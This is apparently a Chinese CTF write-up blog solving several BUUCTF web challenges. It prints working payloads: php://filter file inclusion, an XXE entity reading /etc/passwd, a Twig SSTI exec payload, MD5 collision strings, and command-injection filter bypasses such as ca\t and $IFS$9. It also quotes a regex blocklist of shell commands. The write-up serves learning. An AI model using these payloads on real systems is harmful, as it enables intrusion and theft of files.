快乐寒假5
你👱🏻寒假打了几次比赛,但是做出来的题跟打的比赛次数差不多
你👱🏻太拉胯了,只能继续看题
否则你👱🏻只能从CTF的世界里Get Out了
[BSidesCF 2020]Had a bad day
打开网页,点击了可以点击的按钮后
你👱🏻感觉可能有SQL注入或者文件包含,
尝试利用php://filter伪协议获取index.php源码
php://filter/read=convert.base64-encode/resource=index.php
输入后发现报错,把后缀去掉后就好了
得到一串base64加密的字符串 解密后得到源码
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
你👱🏻传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,所以你👱🏻要想办法包含flag.php
你👱🏻尝试
/index.php?category=woofers/../flag
出现了新内容
这里需要利用伪协议php://filter套一层协议,读取flag.php
/index.php?category=php://filter/convert.base64-encode/index/resource=flag
得到字符串base64解码后即为flag
[安洵杯 2019]easy_web
你👱🏻一进去就是这个
url为
http://4ccae426-3dff-42d7-b2fd-c23ce89ee664.node4.buuoj.cn:81/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
将img后的字符串解码两次 得到3535352e706e67
将3535352e706e67进行16进制转字符串得到555.png
使用类似的加密反推index.php得到
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
将字符串进行base64解码后得到
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
(最开始查看源代码也有一串base加密后的字符串,但是你👱🏻解密后发现那个就是图片的意思,应该没什么用)
有一个md5强绕过
解法如下:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
然后过滤了ls echo等,但是我们还可以用dir
发现没有flag,再访问根目录,这里过滤了空格,所以用%20代替空格
但是过滤了cat,这里的绕过方法有
ca\t 后面的\t会成为 TAB 而绕过
接着就简单了
ca\t%20/flag
这里的正则还过滤了反斜杠字符,你👱🏻发现反斜杠这里还有挺多细节的
如果要让正则匹配出一个\字符,则需要在php中的pattern中添加四个\字符,经过php解释器解释成两个\字符,再有正则解释器解释成一个字符\
这里得到flag
[NCTF2019]Fake XML cookbook
进去是个登陆页面,第一眼感觉是sql注入
对登陆进行抓包
这里题目提示了xml实体,所以你👱🏻得去了解一下xml实体
XXE漏洞全称XML External Entity Injection 即XML外部实体注入。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
XXE常见利用方式
与SQL相似,XXE漏洞也分为有回显和无回显
有回显,可以直接在页面中看到payload的执行结果或现象。
无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。
解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞。
这里需要构造恶意实体,尝试读取文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>
再尝试读取flag
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>
成功拿下flag
[BJDCTF2020]Cookie is so stable
你👱🏻打开题目,一共有两个地方可以点,一个flag,一个hint
flag应该是什么注入,hint不知道什么意思
F12可以看到Hint提示我们在cookie那里进行攻击
你👱🏻找了一下服务端注入,感觉这个整理的还不错
这里的绿线表示结果成功返回,红线反之。有些时候,同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说49会在 Twig 中返回49,而在 Jinja2 中则是7777777。
附上原网址
https://zhuanlan.zhihu.com/p/28823933
输入49,如果返回49则是Twig模板
如果返回77777777则表示是Jinja2模块
使用burpsuite发现注入点
换成49
用对应的Twig模块的payload攻击
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
OK了family们
[ASIS 2019]Unicorn shop
你👱🏻打开网站,是个shop
买🐴试试看
只允许输入一个字符
那你👱🏻只输入一个试试看
😅说是买了错误的商品
那应该是最expensive的那个1337了
根据提示,这道题应该涉及到python和unicode
这里只能输入一个字符,又要大于1337,所以应该是特殊的符号之类的
https://www.compart.com/en/unicode/
比如这个,
它的UTF-8编码是0xE2 0x86 0x82,将0x换成%
得到%E2%86%82
id=4&price=%E2%86%82
传参即可得到flag
[WUSTCTF2020]朴实无华
你👱🏻进去就是Hack me
必须给你拿下
其他的什么提示都没有
扫一下目录
扫到了robots.txt
robots.txt是这个样子
进入这个文件,只有一个假flag,现在也没别的线索,你👱🏻抓个包试试
这里出现了新的/fl4g.php
我超,朱1️⃣🥚
还有源码
可以看到一共有3层
第一层是intval函数的关卡
Get传参num,其中num的值既要小于2020,加1后又要大于2021
如果不传入num就得滚去Africa,传入的不满足条件就会变成poor man
看看intval这里有什么特性
这里借用一下别人的研究成果
里面有个重要的东西
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值,这里是1
那么当对字符串’1e10’+1是不是可以将字符串类型强行转换成数字类型呢
经过测试,可以这样绕过,于是构造url
?num=2e4
不知道为什么加单引号的时候还是过不了
第二层是md5弱类型
这个搜一下就有了
payload为
&md5=0e215962017
来到最后一层
这里要求传入参数get_flag而且不能有空格
如果有cat,则会被替换成wctf2020,传入的get_flag会被当成系统命令执行
先用ls列出文件,其中最长的那个应该就是了
cat不能用,你👱🏻就用tac
用$IFS$9代替空格
最终payload为
fl4g.php?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
拿到flag